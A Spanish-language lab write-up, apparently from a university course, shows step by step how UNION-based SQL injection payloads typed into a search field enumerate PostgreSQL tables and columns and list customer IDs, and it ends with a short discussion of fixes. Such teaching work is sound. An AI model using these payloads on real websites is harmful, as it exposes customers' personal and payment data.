Ejemplo de SQL injection: Información en la BD

Películas del año:

1. 2200

Tras esto, diseñamos la consulta que nos devuelve esas tablas, que es:

```
1 | SELECT cast(relname AS VARCHAR) FROM pg_class WHERE relnamespace = 2200;
```

Para lograr que se ejecute esta consulta debemos introducir en el campo de búsqueda:

```
1 | ' UNION ALL SELECT cast(relname AS VARCHAR) FROM pg_class WHERE relnamespace  
   | = 2200 --
```

Obteniendo así la siguiente consulta total:

```
1 | SELECT columna_titulo FROM tabla_peliculas WHERE columna_anio = '' UNION ALL  
   | SELECT cast(relname AS VARCHAR) FROM pg_class WHERE relnamespace = 2200 --;
```

Que nos devuelve el resultado deseado:

Ejemplo de SQL injection: Información en la BD

Películas del año:

Mostrar

1. imdb_movies
2. customers_customerid_seq
3. imdb_actormovies
4. imdb_actors
5. imdb_actors_actorid_seq
6. imdb_directors_directorid_seq
7. imdb_moviecountries
8. imdb_directormovies_directorid_seq
9. imdb_directormovies_movieid_seq
10. imdb_moviegenres
11. imdb_moviecountries_movieid_seq
12. imdb_movi_languages
13. imdb_moviegenres_movieid_seq
14. orders
15. orderdetail
16. imdb_movies_movieid_seq
17. inventory
18. customers
19. orders_orderid_seq
20. imdb_directors
21. products_movieid_seq
22. products_prod_id_seq
23. customers_pkey
24. imdb_actormovies_pkey

(No se muestran todas las tablas que se obtienen pues son demasiadas).

d)

De todas las tablas que se nos muestran con la consulta del apartado anterior, la que claramente tiene mayor probabilidad de contener la información de los clientes es la tabla `customers`.

e)

Para obtener el `oid` de esta tabla, queremos que se ejecute la siguiente consulta:

```
1 | SELECT oid FROM pg_class WHERE relname = 'customers';
```

Para obtener los resultados de esta consulta introducimos en el campo de búsqueda:

```
1 | ' UNION ALL SELECT cast(oid AS VARCHAR) FROM pg_class WHERE relname =  
  | 'customers' --
```

De modo que se ejecuta en el programa la siguiente consulta completa:

```
1 | SELECT columna_titulo FROM tabla_peliculas WHERE columna_anio = '' UNION ALL  
  | SELECT cast(oid AS VARCHAR) FROM pg_class WHERE relname = 'customers'--;
```

Que nos muestra que el `oid` de esta tabla es el 247953.

Ejemplo de SQL injection: Información en la BD

Películas del año:

Mostrar

1. 247953

f)

Para conseguir los nombres de las columnas de la tabla debemos emplear la siguiente consulta:

```
1 | SELECT attname FROM pg_attribute WHERE attrelid = 247953;
```

Para obtener los resultados de esta consulta introducimos en el campo de búsqueda:

```
1 | ' UNION ALL SELECT attname FROM pg_attribute WHERE attrelid = 247953 --
```

De modo que se ejecuta en el programa la siguiente consulta completa:

```
1 | SELECT columna_titulo FROM tabla_peliculas WHERE columna_anio = '' UNION ALL  
  | SELECT attname FROM pg_attribute WHERE attrelid = 247953 --;
```

Que nos muestra que esta tabla tiene las siguientes columnas:

Ejemplo de SQL injection: Información en la BD

Películas del año:

Mostrar

1. address1
2. address2
3. age
4. city
5. cmax
6. cmin
7. country
8. creditcard
9. creditcardexpiration
10. creditcardtype
11. ctid
12. customerid
13. email
14. firstname
15. gender
16. income
17. lastname
18. password
19. phone
20. region
21. state
22. tableoid
23. username
24. xmax
25. xmin
26. zip

g)

De las columnas obtenidas, la que entendemos que es más útil para gestionar datos del usuario en la base de datos (pues debido a su nombre probablemente sea la `Primary Key`, y además es la única que nos garantiza que es un dato único para cada usuario pues es un identificador columna de `customerid`, y por tanto es la que emplearemos para obtener una lista de clientes.

h)

Para conseguir los datos de la columna `customerid` y, por tanto, la lista de clientes, creamos una consulta:

```
1 | SELECT customerid FROM customers;
```

Para obtener los resultados de esta consulta introducimos en el campo de búsqueda:

```
1 | ' UNION ALL SELECT customerid FROM customers --
```

De modo que se ejecuta en el programa la siguiente consulta completa:

```
1 | SELECT columna_titulo FROM tabla_peliculas WHERE columna_anio = '' UNION ALL  
  | SELECT customerid FROM customers --;
```

Que nos devuelve la lista de clientes (representados por su identificador):

Ejemplo de SQL injection: Información en la BD

Películas del año:

Mostrar

1. 693
2. 851
3. 2959
4. 5605
5. 6020
6. 7176
7. 8761
8. 9329
9. 9848
10. 1
11. 2
12. 3
13. 4
14. 5
15. 6
16. 7
17. 8
18. 9
19. 10
20. 11

(No se muestran todos los resultados pues son demasiados).

i)

Para solucionar el grave problema de seguridad que tiene esta página en su acceso a base de datos, del mismo modo que en el apartado G, se podrían emplear las funciones proporcionadas por librerías de gestión de base de datos como `SQLAlchemy` en lugar de codificar directamente a mano sobre el código del servidor las consultas SQL.

Emplear una lista desplegable también solucionaría el problema pues evitaría que se pudiese introducir código SQL en el campo de búsqueda. Sin embargo esta sería una solución pobre ya que el acceso a base de datos seguiría siendo inseguro y podría presentar problemas si en otra URL de la página se necesita usar un campo de texto.

Aunque se decidiese usar el método POST en vez del GET en la página, este tipo de ataques seguiría siendo posible y no se solucionaría pues el problema de seguridad en este caso no está en el envío de datos del cliente al servidor, sino en como se emplean los datos a la hora de acceder a la base de datos de la página. A pesar de esto emplear el método POST en vez del GET sería positivo pues solucionaría otros problemas de seguridad relativo al paso de datos del cliente al servidor evitando otro tipo de ataques.